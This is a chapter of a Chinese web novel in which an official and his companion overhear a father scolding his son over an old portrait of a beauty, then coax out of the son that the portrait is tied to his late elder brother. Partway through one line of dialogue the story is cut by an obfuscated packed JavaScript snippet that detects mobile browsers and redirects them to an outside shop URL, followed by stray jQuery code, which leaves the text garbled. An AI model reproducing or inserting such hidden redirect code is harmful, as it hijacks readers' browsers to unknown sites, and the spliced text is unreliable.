等程希夷和杜文焕暗中跟着季庭春和季棠而去,他们走了不远就在花架下停下,只听季庭春零零碎碎的呵斥声穿过草丛,传到二人耳中。
“你这逆子,痴恋女色我不管你,别搞到台面上,一幅画也值得你这么计较!”
季棠不服地嘟囔:“是那小子哄骗我说他认得画中人,若我将画卖给他,他便带我去找那女子。”
“所以你就这么被骗了?唐家那些人没一个好货,你居然还信唐承那小子,他怎么可能认得一幅古画上的女子,你也是个蠢货!”
“我,我...”
“要是你大哥还在,我还管你做什么!”
季棠也怒了:“是,我什么都比不过大哥,可惜他早死,也该用我的命换他的,这样你也不会天天骂我了,也顺心了!”
“你!”季庭春作势抬手要打,但季棠这次铁了心,没在老爹面前畏畏缩缩,仰起头直视他,像是被打死他也不怕了。
“算了。”这终归是他唯一的儿子了,季庭春泄了气,还是没忍心下手,手缓缓放下,移到了眉头,揉了揉发紧的眉心,“你那画给他就给他罢,也算破财消灾,再买一幅就是了,以后买了古画别天天在人前显摆。”
季棠没被老爹打,本该开心,可提到这幅画,他神情恹恹,“这画不是买的,恐怕也没有第二幅了。”
“不是买的,你偷的?”季庭春不相信自家儿子的人品。
“也不是,”季棠缩了缩脖子,心虚地说,“是从我们家那一堆杂物里拿的。”
季庭春疑惑:“什么杂物?”
“就是之前你要下人扔的那些,从大哥房里找出来的。”季棠嘟囔。
季庭春想了一会,自家大扫除已经是许久之前的事了。季棠大哥的房间他是几乎不动的,除了某次他找到了一些没用的旧物...
“是那幅画!”
他忽然想起,猛地他双眼瞪大,抓住季棠的衣领:“放在靠窗桌案上的那幅?”
季棠低下了头,“对,对啊。”
“你这兔崽子,你知道那幅画上的是谁吗你就拿了!”
“那是谁,不就是一幅旧画吗?”季棠好像知道自己闯祸了,但还是替自己辩解,“那么美的画中人,我见扔了可惜了就随手拿走了。”
季庭春神情严肃,“那幅画你还给谁看了?”
“没给谁,就我认识的那些公子哥,还有就是唐承。”
“还好没几个人知道,这幅画被拿走了也好,也算是消灾了。”季庭春松了口气,“你自己在这反省一下,以后少跟你那些狐朋狗友混在一起。”
“好的,爹。”季庭春要放过自己,季棠自然乖乖答应。
待他走后,没多久从不远处走来两个人,季棠还以为是唐家的人来看笑话,抬眼一看,却是杜文焕,后头跟着个丫鬟打扮的清丽女子,低着头,看得不大清楚,但神态瞧着有几分眼熟。
季棠松了口气,说:“是文焕啊。”本来他无官职,应当称呼大人,但杜文焕同他关系不错,也是从小认识的,所以就免了这层拘谨的称呼。
“季兄在这做什么?”杜文焕明明刚才同程希夷听了全程,但也要故意装傻。
季棠挠了挠头,也不好意思说方才被老爹训斥了:“没,没什么。对了,你为何来这啊,这儿挺偏的。”
“哦,路上拾到一幅画,打开看了是你那幅,就来找你,沿路有人给我们指了路。”
杜文焕说着,程希夷便主动上前递上那幅画。
季棠打开一看,的确是那幅美人图,除了边角沾了点泥外,其他完好无损。
他兴奋地向杜文焕道谢:“实在是多谢文焕兄,这图我本来已经不抱着找回的希望了。”
杜文焕见他对那幅图爱不释手,根本完全忘记方才季庭春警告他的那番话。
季棠虽不知这画上是谁,季庭春一定知道,但季庭春为人谨慎,是官场上摸爬滚打几十年的老狐狸了,任何事都不会明说,而季棠是个浪荡公子,没有这么多心思,也更容易套话。
便说:“季兄,方才我来时听说你为了这画同唐侍郎的公子打了一架。画虽值钱,但也不要为此伤了和气啊。”
季棠叹了口气,将画卷好,“你也听说了啊,这下丢人丢大了,我老爹到时候回家又要数落我一顿。”
杜文焕:“听唐公子说,季兄是想认得这画中人,所以才将此画卖给他的。”
程希夷默默瞄了他一眼,什么听唐公子说,压根连那个唐承的面都没碰上,只是瞎说罢了,杜大人也学会骗人了啊。
“这他也跟你说了?”季棠咬牙切齿,“他骗了我,将这画拿走之后便称不知了。”
“可要我说,唐公子也不尽是在骗你。”
“哦?文焕何出此言?”
杜文焕轻笑一声,看向他怀中那幅画:“若是别人向你讨要这画,想的无非是多花些钱,又或者是用别的更珍贵的宝物来换。这画上的纸已经旧了,画中的人又不似凡人,有几个人会说自己认得这画中人。更遑论说带季兄去见那人呢?谎言只有半真半假才最可信。”
季棠也懂了他的意思:“你是说唐承他没说谎?那他怎么不带我去见,还要为此同我打一架。”
“这画中人若活到现在也已经是美人迟暮,季兄莫非想见到一个白发苍苍的老婆婆?”
“这...”季棠犹豫了,他要是见到已经年老色衰的画中美人,幻想立刻就会破灭了,“我确实不想。”
杜文焕将季棠的反应收入眼底,小鱼慢慢上钩了,“唐公子说不定也是考虑到这一层,才并未带季兄去的。”
“可就算画中人迟暮,她还会有后人。”季棠仍然不死心,“即使见不到这位美人,她说不定会有女儿能让我一窥她年轻时的面容。”
杜文焕却意味深长地说:“难道季兄没看出来,这画中人与唐公子有几分相似吗?”
季棠:“!”
程希夷:“?”
季棠的手捏紧了画卷,“这么说,好像确实是这样
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14038036|131938||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
。”
“难道...”季棠想到一个可能,“唐承同她有什么血缘关系?”
“可季兄从家里带出来的画怎么会和唐公子有什么血缘关系呢?似乎又有些不对,想必是我想错了。”杜文焕微微蹙眉,做出想不大通的模样。
这倒是让季棠着急了:“文焕你一向聪颖,怎么会想错呢,我也觉得你说的有道理。可这画是从我兄长房中找出的,我爹就算知道是谁也不会说,何况这又跟我兄长有关。我爹除了教训我的时候会提,其他时候从不提起兄长。”
“季伯父白发人送黑发人,对此痛心,可以理解。”杜文焕本跟季庭春也无甚交集,为了扯近关系,换了个称呼,“不过季小将军是为国尽忠而战死的,也算是全了将士马革裹尸的夙愿,这么多年季伯父也该放下了。”
对这位季小将军,杜文焕其实并不了解,只是之前在季棠的诗酒会上听他提过几句。
季庭春有个从小骁勇好战的长子,虽然家中有意让他考科举做个文官,但他说男儿志在报国,与天末国的连年战争不断,百姓深受其苦,单凭文官一支毛笔难以安定天下,不如做个武官,去边境平定战乱,好让百姓安居乐业。
却在十多年前战死在边境,连全尸也没有寻到。
为此,皇帝特意给了季庭春一个恩典,让他的子孙可以荫官,不必靠科举才能做官,因此季棠才这么肆无忌惮地做一个浪荡公子哥,反正只要自家老爹上书请求,皇帝必定给他一个官当。
从前季庭春还有让他考科举不靠恩典的想法,如今也都快放弃了。
“他怎么可能放得下,毕竟我是个不争气的,每次斥责我说不定实在想活着的怎么不是大哥。”季棠自嘲地笑了,等反应过来,又颇为歉意地说,“哎,瞧我怎么跟你来抱怨了,还是画的来源更重要些。这画可能是我大哥的,之前应该一直放在大哥房里。不过我并不了解他,也不知道这是怎么来的。”
杜文焕指着画问:“令兄可有什么红颜知己么?以这画的技法来看,画师并不算娴熟,甚至有几笔可以说是草率,但胜在神态够真实,非亲眼见难以画出。想必是看着那人才能画得如此栩栩如生。”
季棠将画展开来一看,的确如他所言,“这...可是据我所知,兄长是个正派的人,家中记得他的老仆人都盛赞他的品格,身边也没什么莺莺燕燕。”
“嘶...”季棠略微思索了一会,突然想到一件事,“但我记得家中的老管家提过这么一件事,说兄长曾经有个心上人,却在他率军平定南方骚动时嫁给了别人。后来兄长消沉了很长一段时间,也就是从这时候开始,他留在边境的时间愈发长,再后来便是战死沙场。为此,老管家深深痛恨那个负心的女子,而且我老爹那么古板一个人,居然在留恋花丛这事上从不斥责我,只别摆上台面。”
杜文焕若有所思:“这女子是谁?”
“我不知道,”季棠摇了摇头,“只听说她与兄长是青梅竹马,不过这么多年,谁知道他当年的青梅是谁。”